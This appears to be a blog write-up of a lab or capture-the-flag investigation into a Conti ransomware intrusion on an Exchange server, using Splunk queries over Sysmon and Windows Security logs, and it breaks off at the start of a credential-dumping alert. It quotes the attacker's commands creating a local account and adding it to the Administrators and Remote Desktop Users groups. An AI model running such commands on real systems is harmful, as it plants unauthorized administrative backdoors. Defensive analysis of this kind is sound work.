  &lt;li&gt;Sysmon Operational Logs&lt;/li&gt;
  &lt;li&gt;Windows Security Event Logs&lt;/li&gt;
  &lt;li&gt;VirusTotal&lt;/li&gt;
  &lt;li&gt;MITRE ATT&amp;amp;CK Framework&lt;/li&gt;
  &lt;li&gt;IIS / Exchange Telemetry&lt;/li&gt;
  &lt;li&gt;Threat Intelligence Research&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;scenario&quot;&gt;Scenario&lt;/h3&gt;

&lt;p&gt;I started this investigation using a Splunk instance containing the ingested logs related to the incident.&lt;/p&gt;

&lt;p&gt;Several employees reported that they could not log into Outlook. Shortly afterward, the Exchange administrator also reported being unable to access the Exchange Admin Center (EAC). During initial triage, ransomware readme files were discovered on the Exchange server.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;alert-1suspected-ransomware-binary-dropped-on-exchangeserver&quot;&gt;Alert 1 — Suspected Ransomware Binary Dropped on Exchange Server&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Critical&lt;/p&gt;

&lt;h3 id=&quot;soc-report&quot;&gt;SOC Report&lt;/h3&gt;

&lt;h4 id=&quot;summary&quot;&gt;Summary&lt;/h4&gt;

&lt;p&gt;Endpoint telemetry detected the creation and execution of a suspicious executable on the Exchange server, followed by widespread deployment of ransomware note files across multiple directories.&lt;/p&gt;

&lt;h4 id=&quot;timestamps&quot;&gt;Timestamps&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Suspicious executable creation: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 19:59:08.045 UTC&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Suspicious executable execution: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 20:05:32.431 UTC&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;First ransom note creation detected: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 20:05:45.887 UTC&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;detection-source&quot;&gt;Detection Source&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;affected-asset&quot;&gt;Affected Asset&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WIN-AOQKG2AS2Q7.bellybear.local&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;user&quot;&gt;User&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NOT_TRANSLATED&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;description&quot;&gt;Description&lt;/h4&gt;

&lt;p&gt;A suspicious executable impersonating the legitimate Windows &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt; binary was identified in an abnormal location within the Administrator user’s Documents directory.&lt;/p&gt;

&lt;p&gt;Shortly after execution, the binary initiated mass creation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readme.txt&lt;/code&gt; files across multiple system folders, behavior highly consistent with ransomware deployment activity.&lt;/p&gt;

&lt;h3 id=&quot;technical-analysis&quot;&gt;Technical Analysis&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Confirmed creation of a suspicious executable named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt; located at:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users/Administrator/Documents/cmd.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;The executable was created by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsecapp.exe&lt;/code&gt;, a legitimate Windows component commonly abused in Living-off-the-Land Binary (LOLBin) techniques involving WMI operations.&lt;/li&gt;
  &lt;li&gt;Confirmed execution of the malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt; process at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 20:05:32.431 UTC&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Observed rapid creation of 18 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readme.txt&lt;/code&gt; ransom notes distributed across multiple directories immediately after execution.&lt;/li&gt;
  &lt;li&gt;Retrieved the file hash from Sysmon telemetry and validated it using VirusTotal, confirming the file as malicious ransomware.&lt;/li&gt;
  &lt;li&gt;Activity observed is consistent with ransomware staging and deployment behavior following privilege escalation and persistence establishment.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;mitre-attckmapping&quot;&gt;MITRE ATT&amp;amp;CK Mapping&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T1047&lt;/code&gt; — Windows Management Instrumentation&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T1036&lt;/code&gt; — Masquerading&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T1486&lt;/code&gt; — Data Encrypted for Impact&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;findings&quot;&gt;Findings&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;True Positive — Malicious ransomware activity confirmed&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;actions-taken&quot;&gt;Actions Taken&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Investigated process lineage associated with the suspicious executable&lt;/li&gt;
  &lt;li&gt;Identified related file creation activity&lt;/li&gt;
  &lt;li&gt;Collected file hash for threat intelligence validation&lt;/li&gt;
  &lt;li&gt;Correlated execution timeline with ransomware note deployment&lt;/li&gt;
  &lt;li&gt;Escalated the incident for containment and response&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;escalation&quot;&gt;Escalation&lt;/h3&gt;

&lt;p&gt;Escalated to L2 SOC / Incident Response Team&lt;/p&gt;

&lt;h3 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Immediately isolate the affected Exchange server from the network&lt;/li&gt;
  &lt;li&gt;Acquire forensic images and volatile memory from the host&lt;/li&gt;
  &lt;li&gt;Block identified hashes and indicators across EDR and SIEM platforms&lt;/li&gt;
  &lt;li&gt;Reset privileged credentials potentially exposed during compromise&lt;/li&gt;
  &lt;li&gt;Review Exchange server exposure and patch management&lt;/li&gt;
  &lt;li&gt;Conduct an enterprise-wide IoC sweep for related activity&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;analyst-investigation&quot;&gt;Analyst Investigation&lt;/h3&gt;

&lt;h4 id=&quot;query-used1&quot;&gt;Query used #1&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=* EventCode=11 Readme
| table UtcTime, Image, TargetFilename
| sort UtcTime
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This query provided visibility into Sysmon &lt;strong&gt;File Create&lt;/strong&gt; events (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EventCode=11&lt;/code&gt;) related to files containing the term &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Readme&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The query displayed:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UtcTime&lt;/code&gt; → event chronology&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Image&lt;/code&gt; → process responsible for file creation&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TargetFilename&lt;/code&gt; → full path of created files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_fA5_0yMADNbgvlF4750vlA.png&quot; alt=&quot;1_fA5_0yMADNbgvlF4750vlA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The results immediately revealed suspicious activity involving a file impersonating &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt;, but located within the Administrator Documents folder rather than the legitimate Windows system directory.&lt;/p&gt;

&lt;p&gt;Additionally, the executable was responsible for creating multiple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readme.txt&lt;/code&gt; files across several system locations, behavior strongly associated with ransomware note deployment.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_BaeaNfJLbg_4lOHuPn5Yrw.png&quot; alt=&quot;1_BaeaNfJLbg_4lOHuPn5Yrw.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Full details of the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readme.txt&lt;/code&gt; creation event:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_0Ymev9xZwIrAJ10EgVHaaw.png&quot; alt=&quot;1_0Ymev9xZwIrAJ10EgVHaaw.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;query-used2&quot;&gt;Query used #2&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=* EventCode=1 Image=&quot;C:\\Users\\Administrator\\Documents\\cmd.exe&quot; 
| table Image, Hashes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This query searched for Sysmon &lt;strong&gt;Process Creation&lt;/strong&gt; events (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EventCode=1&lt;/code&gt;) related to the suspicious executable, returning the image path and the file hashes.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_XjWRxztN8Hi8r1DykiI7IQ.png&quot; alt=&quot;1_XjWRxztN8Hi8r1DykiI7IQ.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Full details of the execution event:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_e-ia1NtdlUzzED0TjtrUyQ.png&quot; alt=&quot;1_e-ia1NtdlUzzED0TjtrUyQ.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;VirusTotal validation results:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_bM1vFyurWCyDW_daPGEeFQ.png&quot; alt=&quot;1_bM1vFyurWCyDW_daPGEeFQ.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;query-used3&quot;&gt;Query used #3&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=* EventCode=11 cmd.exe
| table UtcTime, Image, TargetFilename
| sort UtcTime
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To identify the origin of the malicious executable, I searched for Sysmon file creation events involving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The query returned the process responsible for writing the file to disk.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets/images/posts/conti-ransomware/1_Zz3_VgXn7uBpVyVyHu22qA.png&quot; alt=&quot;1_Zz3_VgXn7uBpVyVyHu22qA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The results showed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsecapp.exe&lt;/code&gt; creating the suspicious executable shortly before ransomware deployment activity began.&lt;/p&gt;

&lt;p&gt;This behavior strongly suggests abuse of a trusted Windows binary to stage malware execution while attempting to evade detection through LOLBin techniques.&lt;/p&gt;

&lt;p&gt;Full details of the file creation event:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_7igTHrkY8IBfOhjB67F7VQ.png&quot; alt=&quot;1_7igTHrkY8IBfOhjB67F7VQ.png&quot; /&gt;
***&lt;/p&gt;

&lt;h3 id=&quot;alert-2unauthorized-local-user-creationdetected&quot;&gt;Alert 2 — Unauthorized Local User Creation Detected&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Critical&lt;/p&gt;

&lt;h3 id=&quot;original-question&quot;&gt;Original Question&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;What was the command the attacker used to add a new user to the compromised system?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;soc-report-1&quot;&gt;SOC Report&lt;/h3&gt;

&lt;h4 id=&quot;summary-1&quot;&gt;Summary&lt;/h4&gt;

&lt;p&gt;Endpoint telemetry detected command execution associated with unauthorized local account creation and privilege escalation activity.&lt;/p&gt;

&lt;h4 id=&quot;timestamp&quot;&gt;Timestamp&lt;/h4&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 20:04:10.692 UTC&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;detection-source-1&quot;&gt;Detection Source&lt;/h4&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;affected-asset-1&quot;&gt;Affected Asset&lt;/h4&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WIN-AOQKG2AS2Q7.bellybear.local&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;user-1&quot;&gt;User&lt;/h4&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NOT_TRANSLATED&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;description-1&quot;&gt;Description&lt;/h4&gt;

&lt;p&gt;A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net user&lt;/code&gt; command was executed to create a suspicious local account shortly before ransomware execution.&lt;/p&gt;

&lt;p&gt;Subsequent commands added the account to privileged groups, indicating the attacker was establishing persistence and administrative access.&lt;/p&gt;

&lt;h4 id=&quot;technical-analysis-1&quot;&gt;Technical Analysis&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Identified execution of the following command:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;net user /add securityninja hardToHack123$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Additional commands added the newly created user to privileged groups:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;net localgroup administrators securityninja /add
net localgroup &quot;Remote Desktop Users&quot; securityninja /add
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Confirmed successful account creation through Windows Security Event ID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4720&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Confirmed successful group membership modification through Security Event IDs associated with privileged group additions&lt;/li&gt;
  &lt;li&gt;The account naming convention and timing strongly suggest attacker-created persistence&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;mitre-attckmapping-1&quot;&gt;MITRE ATT&amp;amp;CK Mapping&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T1136.001&lt;/code&gt; — Create Account: Local Account&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T1098.007&lt;/code&gt; — Additional Local or Domain Groups&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;findings-1&quot;&gt;Findings&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;True Positive — Unauthorized persistence and privilege escalation activity confirmed&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;actions-taken-1&quot;&gt;Actions Taken&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Correlated Sysmon and Windows Security events&lt;/li&gt;
  &lt;li&gt;Verified successful account creation&lt;/li&gt;
  &lt;li&gt;Verified privileged group assignment&lt;/li&gt;
  &lt;li&gt;Documented persistence mechanisms established by the attacker&lt;/li&gt;
  &lt;li&gt;Escalated to Incident Response&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;escalation-1&quot;&gt;Escalation&lt;/h3&gt;

&lt;p&gt;Escalated to L2 SOC / Incident Response Team&lt;/p&gt;

&lt;h3 id=&quot;recommendations-1&quot;&gt;Recommendations&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Disable and remove unauthorized accounts immediately&lt;/li&gt;
  &lt;li&gt;Audit all privileged group memberships&lt;/li&gt;
  &lt;li&gt;Reset credentials for affected administrative accounts&lt;/li&gt;
  &lt;li&gt;Review remote access policies and RDP exposure&lt;/li&gt;
  &lt;li&gt;Investigate the host for additional persistence mechanisms&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;analyst-investigation-1&quot;&gt;Analyst Investigation&lt;/h3&gt;

&lt;h4 id=&quot;query-used1-1&quot;&gt;Query used #1&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=* EventCode=1 CommandLine=* NOT splunk*
| table UtcTime, CommandLine
| sort UtcTime
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This query returned process creation events containing command-line activity.&lt;/p&gt;

&lt;p&gt;The results were displayed chronologically to identify suspicious administrative commands executed during the intrusion timeline.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_iGNAVhba6BjEJMllZG1mcQ.png&quot; alt=&quot;1_iGNAVhba6BjEJMllZG1mcQ.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Among the returned entries, commands containing the keywords &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add&lt;/code&gt; immediately stood out.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets/images/posts/conti-ransomware/1_QQXyb1mLzwxXhP6dur04BQ.png&quot; alt=&quot;1_QQXyb1mLzwxXhP6dur04BQ.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The command revealed that a new local account named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityninja&lt;/code&gt; had been created through the Windows &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net user&lt;/code&gt; utility.&lt;/p&gt;

&lt;p&gt;Because attackers frequently create local administrator accounts to maintain persistence after initial access, this activity represented a critical escalation point in the attack chain.&lt;/p&gt;

&lt;p&gt;To verify whether the command successfully created the account, I pivoted to Windows Security Logs and searched for Event ID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4720&lt;/code&gt; (User Account Created).&lt;/p&gt;

&lt;h4 id=&quot;query-used2-1&quot;&gt;Query used #2&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=* EventCode=4720
| table UtcTime, Account_Name, Account_expires, Keywords, ComputerName
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_cIW9QgqORxKmZ6L2yjbzLg.png&quot; alt=&quot;1_cIW9QgqORxKmZ6L2yjbzLg.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The event confirmed successful creation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityninja&lt;/code&gt; account.&lt;/p&gt;

&lt;p&gt;Full event details:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets/images/posts/conti-ransomware/1_YqnF-6FKU3k4Lkjx1isLeA.png&quot; alt=&quot;1_YqnF-6FKU3k4Lkjx1isLeA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To validate successful privilege escalation activity, I then investigated security group modification events &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4728&lt;/code&gt;.&lt;/p&gt;

&lt;h4 id=&quot;query-used3-1&quot;&gt;Query used #3&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=* EventCode=4728
| table Time, Account_Name, Group_Domain, Keywords, ComputerName, TaskCategory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because the timestamp field was not automatically parsed correctly in some logs, I extracted and normalized the relevant fields within Splunk to improve timeline visibility and event correlation.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_Y_NmtIXtQHlifbidiAzr5A.png&quot; alt=&quot;1_Y_NmtIXtQHlifbidiAzr5A.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The results confirmed the user was successfully added to privileged groups on the affected Exchange server.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets/images/posts/conti-ransomware/1_kLYuEFEKY94LE3qBbiwsIw.png&quot; alt=&quot;1_kLYuEFEKY94LE3qBbiwsIw.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Complete event details:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_YY5vTtggmDjLBYEI1PHK7A.png&quot; alt=&quot;1_YY5vTtggmDjLBYEI1PHK7A.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;alert-3suspicious-process-migration-observed&quot;&gt;Alert 3 — Suspicious Process Migration Observed&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Critical&lt;/p&gt;

&lt;h3 id=&quot;original-question-1&quot;&gt;Original Question&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;The attacker migrated the process for better persistence. What is the migrated process image (executable), and what is the original process image (executable) when the attacker got on the system?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;soc-report-2&quot;&gt;SOC Report&lt;/h3&gt;

&lt;h4 id=&quot;summary-2&quot;&gt;Summary&lt;/h4&gt;

&lt;p&gt;Sysmon telemetry identified process injection activity consistent with attacker process migration techniques used for stealth and defense evasion.&lt;/p&gt;

&lt;h4 id=&quot;timestamp-1&quot;&gt;Timestamp&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2021-09-08 19:54:12.665 UTC&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;detection-source-2&quot;&gt;Detection Source&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;affected-asset-2&quot;&gt;Affected Asset&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WIN-AOQKG2AS2Q7.bellybear.local&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;description-2&quot;&gt;Description&lt;/h4&gt;

&lt;p&gt;The attacker migrated execution from PowerShell into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsecapp.exe&lt;/code&gt;, a legitimate Windows process associated with WMI operations.&lt;/p&gt;

&lt;p&gt;This technique is commonly used to blend malicious activity into trusted system processes and evade security monitoring.&lt;/p&gt;

&lt;h4 id=&quot;technical-analysis-2&quot;&gt;Technical Analysis&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Identified Sysmon &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateRemoteThread&lt;/code&gt; event (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EventCode=8&lt;/code&gt;) showing process injection activity&lt;/li&gt;
  &lt;li&gt;Source process:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Target process:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Windows\System32\wbem\unsecapp.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Subsequent investigation revealed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsecapp.exe&lt;/code&gt; later participated in malware staging and credential theft activity.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;mitre-attckmapping-2&quot;&gt;MITRE ATT&amp;amp;CK Mapping&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T1055&lt;/code&gt; — Process Injection&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;findings-2&quot;&gt;Findings&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;True Positive — Malicious process injection activity confirmed&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;actions-taken-2&quot;&gt;Actions Taken&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Correlated injection activity with later malicious process execution&lt;/li&gt;
  &lt;li&gt;Identified LOLBin abuse involving WMI-related processes&lt;/li&gt;
  &lt;li&gt;Expanded the investigation into subsequent child process activity&lt;/li&gt;
  &lt;li&gt;Escalated the incident to Incident Response&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;escalation-2&quot;&gt;Escalation&lt;/h3&gt;

&lt;p&gt;Escalated to L2 SOC / Incident Response Team&lt;/p&gt;

&lt;h3 id=&quot;recommendations-2&quot;&gt;Recommendations&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Investigate PowerShell logging and script block activity&lt;/li&gt;
  &lt;li&gt;Enable advanced PowerShell logging if not already configured&lt;/li&gt;
  &lt;li&gt;Monitor CreateRemoteThread events across critical infrastructure&lt;/li&gt;
  &lt;li&gt;Implement behavioral EDR detections for process injection patterns&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;analyst-investigation-2&quot;&gt;Analyst Investigation&lt;/h3&gt;

&lt;h4 id=&quot;query-used&quot;&gt;Query used&lt;/h4&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=* EventCode=8
| table UtcTime, SourceImage, TargetImage
| sort UtcTime
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To identify process migration activity, I searched for Sysmon &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateRemoteThread&lt;/code&gt; events.&lt;/p&gt;

&lt;p&gt;These events are commonly associated with process injection and code migration techniques.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_Q2ckl5i5MMbsHQIR8mCgEg.png&quot; alt=&quot;1_Q2ckl5i5MMbsHQIR8mCgEg.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The results revealed PowerShell injecting into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsecapp.exe&lt;/code&gt;, a trusted Windows process commonly associated with WMI functionality.&lt;/p&gt;

&lt;p&gt;This strongly indicated an attempt to evade detection through LOLBin abuse and trusted process execution.&lt;/p&gt;

&lt;p&gt;Complete event details:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/conti-ransomware/1_ptuL_AHxSdb7u5nOQ_OwnQ.png&quot; alt=&quot;1_ptuL_AHxSdb7u5nOQ_OwnQ.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;alert-4credential-dumping-activitydetected&quot;&gt;Alert 4 — Credential Dumping Activity Detected&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Critical&lt;/p&gt;

&lt;h3 id=&quot;original-question-2&quot;&gt;Original Question&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;The attacker also retrieved the system hashes. What is the process image used for getting the system hashes?&lt;/li&gt;
&lt;/ul&gt;
